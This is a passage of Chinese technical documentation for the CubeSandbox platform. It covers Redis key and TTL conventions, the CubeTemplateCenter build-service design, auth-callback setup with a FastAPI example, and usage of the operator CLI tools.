私有访问令牌（可选） | | `MaskRequestHost` | CubeProxy 转发给用户服务的 Host 模板（可选，`${PORT}` 按请求展开） | | `{containerPort}` | 容器端口 → 宿主机映射端口（动态 field） | **`instance:info`**（实例信息） 见 [`CubeMaster/pkg/base/types/redis.go`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/base/types/redis.go) 中 `InstanceInfoMap` 的 `redis` tag 定义。 **`task:describe`**（异步任务） | field | 含义 | | --- | --- | | `task_id` | 任务 ID | | `status` | 任务状态 | | `error_code` | 错误码 | | `error_message` | 错误信息 | **`sandbox:lifecycle:meta`**（沙箱 lifecycle 注册表，跨服务契约） | field | 含义 | | --- | --- | | `{sandboxID}` | JSON 编码的 `SandboxLifecycleMeta`（见 [`CubeMaster/pkg/lifecycle/schema.go`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/lifecycle/schema.go)） | **`sandbox:lifecycle:state`**（暂停/恢复协调） | value | 含义 | | --- | --- | | `running` | 沙箱运行中 | | `pausing` | 暂停过渡中 | | `paused` | 沙箱已暂停 | | `resuming` | 恢复过渡中 | ## 6. TTL 策略 | Key 类型 | 策略 | 说明 | | --- | --- | --- | | `node:metric` | 刷新式 TTL | 每次心跳写入后 `EXPIRE`（默认 600s）；活跃节点持续续期，下线节点自动过期清理 | | `sandbox:proxy` | 无 TTL | 仅在沙箱创建时写入、无续期路径；生命周期由 CubeMaster 在沙箱销毁时 `DEL`。**禁止**设置短于沙箱最大存活时间的 TTL | | `task:describe` | 固定 TTL | 写入后 `EXPIRE`，默认 86400s（`describe_task_expire_time`） | | `instance:info` / `instance:meta` | 无 TTL | 随实例生命周期管理；后续可按需补充 | | `sandbox:lifecycle:meta` | 无 TTL | 沙箱创建时写入，销毁时 `HDEL` | | `sandbox:lifecycle:events` | MAXLEN ~ | 每次 `XADD` 时裁剪（默认 ~100000） | | `sandbox:lifecycle:state` | SET TTL | 每次写入带 `EX`（cube-lifecycle-manager 默认 60s）；回滚或沙箱删除时释放 | | `lock:lifecycle-manager:leader` | 可续期租约 | 通过 `SET NX PX` 获取（默认 10s）；使用 token 校验的单 key `WATCH`/`MULTI`/`EXEC` 事务续租和释放；不使用 Lua/EVAL | | `lock:sandbox` | SET NX EX（按操作） | 仅作崩溃／泄漏兜底；正常解锁为 token 安全的 Lua（`GET` 匹配持锁 token 后才 `DEL`）。TTL：pause **180s**，resume/delete **120s**，默认 **60s**（见 `CubeMaster/pkg/sandboxlock`）。不续期。 | | `cube_proxy:registry` | 无 TTL（依赖心跳） | 每个 CubeProxy 副本启动时写入；对应心跳过期后由 cube-lifecycle-manager 通过 `HDEL` 清理 | | `cube_proxy:heartbeat` | Sorted Set 过期 | Score 为最近一次心跳的 unix ms，超过 `heartbeat_ttl`（默认 15s）的条目由 `ZREMRANGEBYSCORE` 清理 | | 缓存类（未来新增） | 必须设 TTL | 写入时显式声明，并在文档中登记 | ## 7. 各服务实现约定 ### CubeMaster（Go） * Key 构造：[`pkg/base/rediskey`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/base/rediskey/rediskey.go) * 业务读写：[`pkg/localcache`](https://github.com/tencentcloud/CubeSandbox/tree/master/CubeMaster/pkg/localcache)、[`pkg/instancecache`](https://github.com/tencentcloud/CubeSandbox/tree/master/CubeMaster/pkg/instancecache) * 沙箱生命周期锁：[`pkg/sandboxlock`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/sandboxlock/lock.go) * 配置项（`redis:` 段）：`node_metric_ttl_sec`（节点指标 TTL，秒） ### CubeProxy（OpenResty / Lua） * Key 构造：[`lua/redis_keys.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/redis_keys.lua) * 业务读取：[`lua/sandbox_backend.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/sandbox_backend.lua)、[`lua/utils.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/utils.lua) * CubeProxy **只读** `shared` 命名空间下的 key，不负责写入 ### CubeAPI（Rust，预留） CubeAPI 当前不使用 Redis。若未来接入，须遵循： * 私有数据：`cube:v1:api:{resource}:{id}` * 会话：`cube:v1:api:session:{token}` * 限流：`cube:v1:api:ratelimit:{apikey}` * 配置缓存：`cube:v1:api:setting:{setting_key}` * 共享数据：复用 `cube:v1:shared:*`，不得新造无前缀 key * 须实现与 CubeMaster / CubeProxy 对等的 key 构造模块 ## 8. 新增 Key 流程 1. 在本文档 §5 登记 key 模式、数据结构、scope、读写方、TTL。 2. 在对应服务的 key 构造模块中新增构造函数（Go `rediskey` / Lua `redis_keys`）。 3. 若为 `shared` scope，同步修改所有读写方并补充集成测试。 4. 确认 `SCAN cube:v1:{scope}:{resource}:*` 可正确枚举。 *** ## 附录：历史 Key 对照表 以下为从不规范命名迁移到本规范时的对照关系，供排查存量数据、日志或运维脚本时参考。**新代码只允许使用右侧的标准 key。** | 业务含义 | 历史 key（已废弃） | 标准 key | 数据结构 | scope | | --- | --- | --- | --- | --- | | 节点资源指标 | `{nodeID}`（裸 ID） | `cube:v1:master:node:metric:{nodeID}` | Hash | master | | 沙箱代理路由 | `bypass_host_proxy:{sandboxID}` | `cube:v1:shared:sandbox:proxy:{sandboxID}` | Hash | shared | | 实例信息 | `cube_instance_info:{insID}` | `cube:v1:master:instance:info:{insID}` | Hash | master | | Describe 任务结果 | `describetask:{taskID}` | `cube:v1:master:task:describe:{taskID}` | Hash | master | | 实例 metadata | `instance:metadata:{...}` | `cube:v1:master:instance:meta:{...}` | string / list | master | --- --- url: https://cubesandbox.com/zh/dev/templatecenter-design.md --- # CubeTemplateCenter 设计 CubeTemplateCenter（TC）是从 CubeMaster 拆分出来的独立模板构建服务。本文描述**当前已实现架构**；代码注释里出现的 `design §x.y` 引用本文章节。 ## 1. 概述 历史上 CubeMaster 在进程内完成模板 ext4 构建：拉取源 OCI 镜像、解包 layer、执行 `mkfs.ext4`、上传 artifact、分发到节点——全部发生在对外提供沙箱管控面的同一进程里。TC 接管其中的数据面工作。 拆分的主要理由： * **权限隔离。** 构建需要 root（`umoci unpack` 保留 uid/gid、`mkfs.ext4`、loop 设备）。把这些操作移出公开 API 进程，可以缩小爆炸半径。 * **资源隔离。** 构建会瞬时打满 CPU / IO；管控面的时延 SLO 不应直接受并发构建影响。 * **独立生命周期。** CubeMaster 主要承载 API、状态与编排；TC 主要承载构建、artifact 落盘 / 上传、对账。两者可以独立升级和排障。 除了 `from-image` 构建链路，当前版本还支持把**历史本地模板 artifact** 迁进 TC 存储。对应 API 是 `/cube/template/migrate`，CLI 命令名是 `tpl merge`。 ## 2. 进程拓扑 ### 2.1 进程 * **CubeMaster** —— 管控面：持久化 job 行、暴露模板 API、向 TC 提交构建 / migrate 请求、接收状态回调、向节点分发 artifact、编排删除与 redo。 * **CubeTemplateCenter** —— 数据面：拉镜像、构建 ext4、上传 S3、接收 `tpl merge` 上传的 ext4、提供 artifact 下载 / 302、回传构建状态。 TC **不是语义上的“永远单例”**： * 使用**本地盘**时，通常保持 **1 副本**，因为每个副本只看得到自己的本地 artifact。 * 使用 **S3-backed** 或 **ReadWriteMany 共享存储** 时，可以部署 **多副本 TC**。 ### 2.2 通信 * CubeMaster → TC： * `POST /tc/api/v1/build`（提交 `from-image` 构建） * `POST /tc/api/v1/artifact/upload`（`tpl merge` 上传本地 ext4） * `POST /tc/api/v1/artifact/delete`（物理删除 artifact 数据） * TC → CubeMaster： * `POST /internal/template/jobs/:job_id/status`（构建状态回调，带认证——见 §6.1） * 存储共享： * 共享 CubeDB * artifact 字节可以落在同机共享目录、ReadWriteMany 卷，或 S3 / MinIO ### 2.3 所有权划分 CubeMaster 拥有全部**业务状态写入**（job 行、definition、replica、alias、compat）与全部 cubelet RPC。TC 只拥有 artifact 的**物理数据**（本地 ext4 文件、S3 对象）以及与之直接相关的对账 / 删除。 TC 不初始化 worker（cubelet）grpc 连接池，因此任何可能发起 cubelet RPC 的 handler——快照创建、删除、redo 续跑、模板分发——都仍由 CubeMaster 服务，且不在 TC 上注册写路由。 ## 3. API 与 job 模型 ### 3.1 别名语义 模板别名是可选的稳定名字（`[a-z0-9-]`，最长 64 字符），沙箱创建请求可以用它代替生成的 `tpl-*` id。`PUT /cube/template/:template_id/alias` 传 absent / null / `""` 表示清除别名。 ### 3.2 `from-image` 构建 job `from-image` job 由 CubeMaster 创建 / 复用并持久化，TC 负责真正执行构建。job 会携带进度字段（`phase`、`progress`、pull bytes / layers、distribution counters），便于 CLI 和 UI 轮询展示。 构建链路大致分为： 1. 拉取 / 解包源镜像 2. 生成 ext4 rootfs 3. 计算模板规格指纹与 artifact 元数据 4. 回调 CubeMaster，触发 resume 流水线 5. 由 CubeMaster 注册 artifact、向节点分发、写最终模板 / job 状态 ### 3.3 `tpl merge` / migrate job `POST /cube/template/migrate` 会提交一个 **migrate job**。CLI 命令名保持用户习惯上的 `tpl merge`，但后端 API 路径明确使用 `migrate`，强调它做的是**artifact 存储迁移**，不是“模板请求 merge”。 语义如下： * 输入是一个已经 `READY` 的模板。 * 如果 artifact 仍在 CubeMaster 本地磁盘： * 优先迁到 S3（若已配置） * 否则上传到 TC 自己的 artifact store（`/tc/api/v1/artifact/upload`） * 如果 artifact 已经是 S3-backed： * 做幂等检查 * 尝试清理遗留的本地 ext4 副本 对**存量镜像制作出来的历史模板**，运维文档应统一采用以下口径：**`tpl merge` 解决历史 artifact 的存储收敛问题，`tpl redo` 解决节点侧重新分发 / 必要时重建问题。** 典型场景是：模板最初的 artifact 仍保存在 CubeMaster 本地盘，后续集群开启了 `s3Backed=true`，需要将这批历史 artifact 从本地盘迁移到 **S3 托管存储**。在这个场景下，应先执行 `tpl merge` 完成存储迁移；若同一次运维还需要让模板重新覆盖目标节点，再继续执行 `tpl redo`。 > **高亮提醒** > 在默认共盘 / 共享存储拓扑下，未执行 `tpl merge` 并不意味着现有 `READY` 模板会立即失去下载能力；真正的问题是历史 artifact 仍未完成从**本地盘到 S3 托管存储**的收敛。 > > * **存储侧**：开启 `s3Backed=true` 后，旧模板不会自动补做迁移。 > * **恢复侧**：如果本地 ext4 先丢了，再跑 `tpl merge` 也无法补救，因为已经没有可上传的文件；这时只能对可重建的 `from-image` 模板执行 `tpl redo`，回退到重建流程。 migrate job 有自己独立的状态读取路径：`GET /cube/template/migrate?job_id=...`。 ### 3.4 错误映射 HTTP 层把领域错误映射为 API 错误码： * `ErrTemplateIDRequired`、`ErrDuplicateTemplate`、`ErrNoTemplateNodes` → 参数错误 * `ErrTemplateStoreNotInitialized` → DB / store 初始化错误 * not-found → `130404` * `ErrTemplateNotReady` → conflict 渐进式拆分会把更多错误翻译逐步下沉到 store 层。 ### 3.5 Redo `POST /cube/template/redo` 用于续跑失败的模板 job。分发阶段失败但 artifact 已为 `READY` 的 job 会复用 artifact，而不是重建；复用 `PENDING` / `BUILDING` 的 artifact 会读到半成品 ext4，因此是禁止的。若 artifact 不再可复用，redo 会退回到从 `source_image_ref` 做 full rebuild（该构建由 TC 执行，而不是依赖先前 `merge` 的结果）。 在运维文档中，`tpl merge` 应描述为**历史 artifact 从本地盘迁移到 S3 托管存储**的存储收敛动作，`tpl redo` 应描述为**节点侧重新分发 / 必要时重建**动作。只有在同一次运维同时涉及历史 artifact 迁移和节点重新覆盖时，才需要按 **先 `merge`、后 `redo`** 的顺序执行。 ### 3.6 Resume 流水线 TC 上报 `BUILT` / 构建完成后，CubeMaster 执行 resume： 1. 注册远端构建产出的 artifact 2. 向目标节点分发 artifact 3. 写 template / replica / job 终态 当解析不到目标节点时，resume 会以 `ErrNoTemplateNodes` 失败，并有意不写 definition / replica 行。 ### 3.7 Job 幂等 不变量 **I1**：同一模板规格最多存在一个活跃（`PENDING` / `RUNNING`）`from-image` job。 对 migrate 也有类似约束：同一模板在同一时刻最多存在一个活跃 migrate job；跨副本并发提交时，后写入者会在 DB 中让位给“更早创建的赢家”并复用其 job id，避免多个副本同时上传同一个 ext4。 ## 4. 路由划分 CubeMaster 上对外暴露的 `/cube/template*` 路由： | 路由 | 服务方 | 原因 | | --- | --- | --- | | POST `/cube/template`、`/from-image`、`/redo`、`/migrate`；DELETE；GET；PUT alias | CubeMaster（本地） | 涉及 job 持久化、状态编排、cubelet RPC、缓存或向 TC 转发请求 | | GET `/cube/template/build/:id/status` | CubeMaster（本地） | `tpl commit` 的 build-status / build-watch 读取的是 master 本地 job 行 | | GET `/cube/template/from-image?job_id=...` | CubeMaster（本地） | `from-image` job 轮询读取 master 持久化状态 | | GET `/cube/template/migrate?job_id=...` | CubeMaster（本地） | migrate job 轮询读取 master 持久化状态 | | GET / POST `/cube/template/compat` | 反代到 TC | 无缓存的 DB 读写 | | GET / HEAD `/cube/template/artifact/download` | 反代到 TC | 文件服务 / S3 重定向 | | GET `/cube/rootfs-artifact?...` 等元数据接口 | CubeMaster（本地） | 返回的是 master 维护的 artifact 行与模板元数据 | `RegisterTemplateRoutes`（TC 进程）只注册**无缓存纯 DB 路由**与**artifact 下载 / 内部 API**子集。两份清单由合同测试钉住，保证“模板写路由不漂移到 TC”。 ## 5. 配置 ### 5.1 命名 TC 读取的变量一律是 `CUBE_TEMPLATE_CENTER_*`。CubeMaster 主要读取： * `CUBE_TEMPLATE_CENTER_ADDR`：提交构建 / artifact 上传 / 删除的内部地址 * `CUBE_TEMPLATE_CALLBACK_TOKEN`：TC 回调认证令牌（见 §6.1） ### 5.2 地址接线 * **Helm**：`cube.templateCenterEndpoint` 把集群内 Service 地址渲染进 master 的 `CUBE_TEMPLATE_CENTER_ADDR` 环境变量和 `conf.yaml` 的 `template_center_addr`。TC 侧以同样方式获得 `CUBE_MASTER_ADDR`。 * **one-click**：`cubemaster-start.sh` 默认把 `CUBE_TEMPLATE_CENTER_ADDR` 设为 `http://127.0.0.1:8090`；TC 的 `conf.yaml` 则在安装期由 `__CUBETEMPLATECENTER_*__` 占位符渲染得到。 ### 5.3 向后兼容窗口 改名前的拼写（`CUBE_TC_*`、`CUBE_MASTER_*`、`CUBEMASTER_*`）仍作为 fallback 生效，并记录弃用提示（可通过 `tcconfig.Warnings()` 获取）。保留窗口的原因是：未同步更新的部署脚本否则可能静默把 artifact 写到错误目录，最后只在下载 404 时暴露。 新部署应只使用 `CUBE_TEMPLATE_CENTER_*` 命名。 ## 6. 安全 ### 6.1 回调认证 状态回调的 payload 会被 resume 流水线整体信任——伪造的 `BUILT` 上报里的 artifact id / sha 可能最终成为节点启动使用的 rootfs。因此该端点要求共享密钥： * TC 发送 `X-Cube-Template-Callback-Token` * CubeMaster 用常量时间与 `CUBE_TEMPLATE_CALLBACK_TOKEN` 比较 * 不匹配返回 `401` 为了兼容滚动升级，若 CubeMaster 未设置该变量，端点会暂时保持开放并打印一次警告。Helm、one-click 与 terraform 都会默认接好该密钥。 ### 6.2 TC 内部端点 TC 的 `/tc/api/v1/*` 端点不带认证，必须保持在集群内部 / VPC 内部地址上；不要把它们直接暴露到公网。chart 默认渲染成内网 Service / 内网 LB；one-click 默认绑定 loopback。 ## 7. Reconcile（对账） ### 7.1 进度快照 实时进度会写 Redis；持久化终态快照通过状态回调落库。 ### 7.2 停滞构建检测 TC 侧 reconciler（`pkg/reconcile`）周期性扫描进度上报停止的 job，并把长期停滞的 job 标记为 `FAILED`。 ### 7.3 被遗弃的构建 TC 重启会丢失内存中的构建状态。reconciler 按停滞阈值清扫卡在 `RUNNING` 的 job（默认 10 分钟一轮，可通过 `CUBE_TEMPLATE_CENTER_RECONCILE_*` 调整）并置为 `FAILED`；客户端需要重试。若已经存在 `READY` artifact，redo 会优先复用。 该机制是强制的：没有它，一次崩溃的构建会借助不变量 I1 把模板永久卡死在“已有活跃 job”的状态里。 ## 8. 健康与就绪 * **CubeMaster**：`GET /notify/health` —— 不依赖 DB 或 nodemeta。 * **TC**：`GET /health` —— store 已连接且 `nodemeta` 已初始化才算就绪。 `nodemeta.Ready()` 表示“初始化已完成”，而不是“release manifest 文件存在”。`release-manifest.json` 只有 one-click 包会安装；Kubernetes 部署里没有它也不应导致 TC 就绪失败。 ## 9. 存储与并发 ### 9.1 副本模型与 artifact 存储 TC 的副本策略取决于 artifact 字节存在哪里： * **本地盘 / RWO PVC**：推荐 **1 副本**。否则不同副本彼此看不到对方构建出的 ext4，请求被打到非构建副本时会 404。 * **ReadWriteMany 共享卷**：可多副本，所有副本能看到同一份 ext4 字节。 * **S3-backed**：可多副本；artifact 下载统一走 presigned URL / 302。 因此，正确结论不是“TC 永远单例”，而是：**本地盘模式通常单副本；共享存储或 S3 模式支持多副本。** CubeMaster 仍然是无状态、最适合水平扩展的一侧。 ### 9.2 DB 锁 跨进程互斥（如 artifact 认领、并发迁移、对账互斥）使用 MySQL `GET_LOCK` 命名锁，取代无法跨越 CubeMaster 与 TC 的进程内 `sync.Mutex`。锁名会做归一化，以保持在 MySQL 64 字符限制内。 ### 9.3 孤儿 GC CubeMaster 上的后台清扫会移除引用计数归零（模板删除、构建失败）且超过 GC 期限的 artifact，并执行与在线删除相同的三阶段清理。 ### 9.4 Job 归属 job 表没有 owner 列：TC 重启后，任何仍然存活的 TC 副本都可以对账停滞 job。进度上报会刷新停滞时钟，因此对账依赖的是共享 DB / 状态时间戳，而不是“某个固定副本拥有某个 job”。 ### 9.5 Artifact 删除 删除采用三阶段最后属主清理（`cleanupArtifactFully`）： 1. **Phase 1（短事务）**：统计剩余引用，把行标为 `CLEANUP_PENDING` 2. **Phase 2（无锁、幂等）**：删除各放置节点上的 ext4 3. **Phase 3（短事务）**：复查引用与状态、删除 placement 行，并通知 TC 删除物理数据 只有 TC 删除 S3 对象 / 本地文件 / artifact 行。过去由 CubeMaster 直接删会泄漏 S3 对象，而且没有 `CLEANUP_PENDING` 行留给兜底清扫。 ### 9.6 节点放置 `ArtifactNodePlacement` 行记录哪些节点持有副本，同时驱动删除 Phase 2 与下载就近性。 ### 9.7 共享 artifact 存储 TC 写 ext4，CubeMaster 通过 `/cube/template/artifact/download` 把它提供给 cubelet——两个进程必须看到同一份 artifact 字节，或者都能通过同一套 S3 路径 / presigned URL 找到它。 * one-click：同机文件系统共享 * Helm：同一个 PVC（本地盘模式时通过同节点亲和保证 master / TC 共置） * `s3Backed=true`：由对象存储统一承载 artifact 字节 因为 artifact 存储是共享的 / 可寻址的，构建期记录的路径与对象引用对 reconciler 始终有效，即使中途发生 TC 重启也不需要把 job “绑死”在某个实例上。 ## 10. 已知限制与后续项 以下问题在当前版本里仍然存在： * **37 天预签名 URL 不刷新。** 上传到 S3 的 artifact 在构建时记录长时效 presigned URL；没有单独的刷新任务，超过时效后需要 redo 或重新 merge / rebuild 才会得到新 URL。 * **`hasActiveJob` 不含 `BUILT`。** 幂等窗口覆盖 `PENDING` / `RUNNING`；已 `BUILT` 但 resume 流水线还在分发时，重复创建可能发起第二次分发，而不是挂到第一次上。 * **envd 时代的 redo 直接 `FAILED`。** 对旧版进程内构建器产出的模板，若缺少可复用 artifact 记录，redo 会快速失败而不是自动重建；这类模板请从源镜像重新创建。 * **TC 仍依赖 CubeMaster 包。** TC 复用 CubeMaster 的 config loader、log、recovery、nodemeta 与 templatecenter store 包，所以当前 `go.mod` 里仍需要 `replace`。把共享部分抽到 `pkgs/` 仍是后续工作。 --- --- url: https://cubesandbox.com/zh/guide/authentication.md --- # 鉴权配置 Cube API Server 默认不启用鉴权，所有请求直接放通。如需鉴权，启动时指定一个回调地址即可。启用后，每个入站请求的凭证 header 都会被转发到你的回调服务——Cube API Server 仅负责转发，鉴权决策由回调方完成。 ## 启用鉴权 通过 `--auth-callback-url` 启动参数或对应的环境变量指定回调地址： ```bash # 启动参数 ./cube-api --auth-callback-url https://your-auth-service/verify # 或环境变量 export AUTH_CALLBACK_URL=https://your-auth-service/verify ./cube-api ``` 未设置 `AUTH_CALLBACK_URL` 时（默认），所有请求无需凭证即可通过。 ## 工作原理 请求到达时，Cube API Server 按以下流程处理： 1. 从请求 header 中提取凭证（`Authorization: Bearer` 优先于 `X-API-Key`）。 2. 向回调地址发送 `POST` 请求，透传凭证 header、原始请求路径**以及 HTTP 方法**。 3. 回调返回 **HTTP 200** → 放行请求。 4. 其他状态码 → 返回客户端 **HTTP 401 Unauthorized**。 ``` 客户端 ──→ Cube API Server │ ├─ 提取凭证（Bearer / API Key） ├─ 记录方法（GET / POST / DELETE / PATCH …） │ └─ POST → 你的鉴权服务 │ 200 ─────┤──→ 放行请求 非 200 ─────┘──→ 401 Unauthorized ``` ## SDK 侧配置 E2B SDK 会将 `E2B_API_KEY` 的值以 `Authorization: Bearer <key>` 的形式附加到每个请求中： ```bash export E2B_API_KEY=your-actual-api-key ``` 如果不使用 E2B SDK，也可以直接发送 `X-API-Key`： ``` X-API-Key: your-actual-api-key ``` 两种格式均支持。两者同时存在时，`Authorization: Bearer` 优先。 ## 回调请求格式 Cube API Server 向回调地址发送的 `POST` 请求包含以下 header： | Header | 值 | |--------|---| | `Authorization` | `Bearer <token>` — 客户端使用 Bearer 鉴权时透传 | | `X-API-Key` | `<key>` — 客户端使用 API Key 鉴权时透传 | | `X-Request-Path` | 原始请求路径，如 `/templates/my-tmpl` | | `X-Request-Method` | 原始请求的 HTTP 方法，如 `GET`、`DELETE` | 两个凭证 header 互斥，回调方收到哪个取决于客户端发送的是哪种格式。 ::: warning 必须同时校验路径**和**方法 同一路径上挂载了多个 HTTP 方法——例如 `/templates/:id` 同时处理 `GET`（读取）、`POST`（重建）、`DELETE`（删除）和 `PATCH`（更新）。如果回调仅按路径白名单授权，则读权限可能被放大为删除或覆写操作：持有只读凭证的调用方发送 `DELETE` 请求时，路径匹配不会拦截它。 请在回调中**同时校验** `X-Request-Path` 和 `X-Request-Method`。 ::: ### 回调示例（Python/FastAPI） ```python from fastapi import FastAPI, Request from fastapi.responses import Response app = FastAPI() # 读操作方法集合 READ_METHODS = {"GET", "HEAD"} # 只读凭证与完全访问凭证分开管理。 # 必须同时校验路径和方法——同一路径（如 /templates/:id） # 既有 GET（读取），也有 DELETE、POST（重建）、PATCH（更新）。 READONLY_KEYS = {"readonly-key-1"} FULL_ACCESS_KEYS = {"secret-key-1", "secret-key-2"} @app.post("/verify") async def verify(request: Request): path = request.headers.get("X-Request-Path", "") method = request.headers.get("X-Request-Method", "").upper() # 提取凭证（Bearer 优先） key = None auth = request.headers.get("Authorization", "") if auth.startswith("Bearer "): key = auth.removeprefix("Bearer ").strip() else: key = request.headers.get("X-API-Key", "") if not key: return Response(status_code=401) if key in FULL_ACCESS_KEYS: return {} # 200 → 放行所有操作 if key in READONLY_KEYS: if method in READ_METHODS: return {} # 200 → 允许读操作 return Response(status_code=403) # 拒绝写/删操作 return Response(status_code=401) ``` ## 错误响应 | 场景 | HTTP 状态码 | |------|------------| | 请求未携带凭证 | `401 Unauthorized` | | 回调返回非 200 | `401 Unauthorized` | | 回调地址不可达 | `500 Internal Server Error` | --- --- url: https://cubesandbox.com/zh/guide/cli-tools.md --- # 命令行工具 CubeSandbox 随宿主机安装包提供多种运维和排障命令行工具。一键安装会把它们安装到宿主机；Kubernetes 部署会把 `cubecli`、`cube-runtime` 等节点本地工具放进组件镜像或节点 toolbox 中。 这些工具应只在可信运维机器上使用。它们绕过面向用户的 CubeAPI 体验，能够直接查看或修改集群、节点和运行时状态。 ## 工具总览 | 工具 | 运行位置 | 访问对象 | 主要用途 | |------|----------|----------|----------| | `cubemastercli` | 控制节点、跳板机，或任何能访问 CubeMaster 的机器 | CubeMaster HTTP API，默认端口 `8089` | 集群级 sandbox、模板、快照、volume 运维 | | `cubeopscli` | 控制节点、跳板机，或任何能访问 CubeOps 的机器 | CubeOps HTTP API，默认端口 `3010` | 节点列表、隔离/解除隔离、删除节点 | | `cubecli` | 运行 Cubelet 和 containerd 的计算节点 | 本地 Cubelet/containerd 状态 | 单节点 sandbox/container 查看、容器 shell、日志、存储清理、本地运行时排障 | | `cube-runtime` | 承载目标 sandbox MVM 的计算节点 | 本地 CubeShim hybrid-vsock/debug console | 登录 guest MVM 或执行底层 VM snapshot 辅助操作 | 一键安装会为 `cube-runtime`、`containerd-shim-cube-rs`、`cubecli`、`cubemastercli` 和 `cubeopscli` 创建 `/usr/local/bin` 软链接。`cubemastercli` 和 `cubeopscli` 包含在发布包中，Terraform 跳板机也会安装它们。 ## `cubemastercli` `cubemastercli` 是集群级管理 CLI。它访问 CubeMaster，因此除非运行位置的默认地址正好可用，通常都需要指定 `--address` 和 `--port`。 ```bash cubemastercli --address <cubemaster-host> --port 8089 --help cubemastercli --address <cubemaster-host> --port 8089 version ``` 常用集群检查： ```bash # 查看 CubeMaster 已知的所有 sandbox。 cubemastercli --address <cubemaster-host> --port 8089 list --all # 查看单个 sandbox。 cubemastercli --address <cubemaster-host> --port 8089 info --sandboxid <sandbox-id> ``` 模板操作： ```bash # 查看模板列表。 cubemastercli --address <cubemaster-host> --port 8089 tpl ls # 查看模板元数据和各节点副本状态。 cubemastercli --address <cubemaster-host> --port 8089 tpl info <template-id> # 新增计算节点后，在指定节点重新构建或分发模板。 cubemastercli --address <cubemaster-host> --port 8089 tpl redo \ --template-id <template-id> \ --node <node-id-or-host> # 从 OCI 镜像创建模板。 cubemastercli --address <cubemaster-host> --port 8089 tpl create-from-image \ --image <registry>/<repo>:<tag> \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 # 把一个 READY 模板的 rootfs artifact 迁入 TC 存储。 # CLI 叫 merge，对应 API 是 /cube/template/migrate。 # 存量模板如果不迁移，artifact 仍留在 CubeMaster 本地盘上。 cubemastercli --address <cubemaster-host> --port 8089 tpl merge <template-id> # 如果场景是把历史 artifact 从本地盘迁到 S3 托管存储，且还要重新覆盖节点，可在 merge 完成后再 redo。 # redo 负责节点侧重新分发；原 artifact 不可复用时会回退到重建流程。 cubemastercli --address <cubemaster-host> --port 8089 tpl redo --template-id <template-id> # 只提交 migrate job，不等待结束。 cubemastercli --address <cubemaster-host> --port 8089 tpl merge <template-id> --detach ``` 对于**存量镜像 / 历史模板**，文档口径应统一为：**`tpl merge` 解决历史 artifact 的存储收敛问题，`tpl redo` 解决节点侧重新分发 / 必要时重建问题。** 典型场景是：模板最初的 artifact 仍保存在 `CubeMaster` 本地盘，后续集群开启了 `s3Backed=true`，需要将这批历史 artifact 从本地盘迁移到 **S3 托管存储**。如果同一次运维还需要让模板重新覆盖目标节点，则在 `tpl merge` 完成后继续执行 `tpl redo`。 > **高亮提醒** > 在默认共盘 / 共享 PVC 部署里，不执行 `tpl merge` 通常**不会立刻影响现有模板下载**；真正的问题是旧 artifact 仍未完成从**本地盘到 S3 托管存储**的收敛。 > > * **存储侧**：开启 `s3Backed=true` 后，旧模板不会自动补做迁移。 > * **恢复侧**：如果本地 ext4 已经丢失，再补跑 `tpl merge` 也修不回来，因为已经没有可上传的文件；这时只能对可重建的 `from-image` 模板执行 `tpl redo`，回退到重建流程。 破坏性操作需要谨慎执行： ```bash # 通过 CubeMaster 删除一个 sandbox。 cubemastercli --address <cubemaster-host> --port 8089 cubebox destroy <sandbox-id> ``` 多节点部署和模板分发背景见[多节点集群](./multi-node-deploy.md)。 ## `cubeopscli` `cubeopscli` 是节点管理 CLI。它访问 CubeOps，因此除非运行位置的默认地址正好可用，通常都需要指定 `--address` 和 `--port`。 ```bash cubeopscli --address <cubeops-host> --port 3010 node list cubeopscli --address <cubeops-host> --port 3010 node isolate <node-id> cubeopscli --address <cubeops-host> --port 3010 node unisolate <node-id> cubeopscli --address <cubeops-host> --port 3010 node delete <node-id> cubeopscli --version cubeopscli version cubeopscli version --versiononly ``` 删除节点要求节点**已隔离且无沙箱**；批量删除时单个节点失败不会中断后续节点，命令最终返回非零退出码。`delete` 的别名是 `rm`；用 `--force` 可在无法校验沙箱清单时强制删除（仍要求先隔离）。 `cubeopscli --version` 与 `cubeopscli version` 输出发布版本（如 `cubeopscli v0.7.0 (<commit>) built at <timestamp>`）；`cubeopscli version --versiononly` 只输出语义化版本号。 增加、隔离与删除节点的详细用法见[节点相关操作](./node-operations.md)。 ## `cubecli` `cubecli` 是计算节点本地工具。除非命令明确指定远端 Cubelet 地址，否则应在目标 sandbox 所在计算节点上运行。 ```bash cubecli --help cubecli version ``` 常用节点本地检查： ```bash # 查看本机 Cubelet 上的 sandbox。 cubecli cubebox ls # 按 sandbox ID 过滤本机 Cubelet 的 sandbox 列表。 cubecli cubebox ls --sandbox <sandbox-id> # 查看 containerd container 元数据。 cubecli container info <container-id> # 查看 sandbox 或模板 stdout/stderr 日志。 cubecli logs <sandbox-id> cubecli logs --stderr <sandbox-id> # 查看 Cubelet 记录的本地存储 volume。 cubecli storage ls # 先 dry-run 检查本地孤儿存储，再决定是否清理。 cubecli storage cleanup --dry-run # 查看 Cubelet network runtime 的 tap 状态。需要 Cubelet toolbox 配置，并会提示确认。 cubecli network ls ``` 进入 sandbox 容器/rootfs 视角： ```bash cubecli exec -it <sandbox-id> bash ``` 这个命令通过本地容器运行时创建 exec 进程，适合检查用户进程、文件系统、环境变量、命令执行行为和容器级日志。它不是登录 guest MVM。 `unsafe` 命令只应在明确理解本地节点影响范围时使用： ```bash # 示例：只删除当前节点上的所有本地 sandbox。 cubecli unsafe rm --all ``` 在多节点集群中，`cubecli` 只覆盖命令所在节点。集群级操作优先使用 `cubemastercli`。 ## `cube-runtime` `cube-runtime` 是 CubeShim workspace 中的底层运行时辅助工具。运维上最常用的是通过 debug console 进入 sandbox MVM。 ```bash cube-runtime --help cube-runtime login --help ``` 登录 sandbox MVM： ```bash cube-runtime login <sandbox-id> ``` `login` 会连接 sandbox 的本地 hybrid-vsock 路径，再进入 debug console 端口。默认 debug console 端口是 `1026`，默认连接超时是 `10` 秒。 ```bash 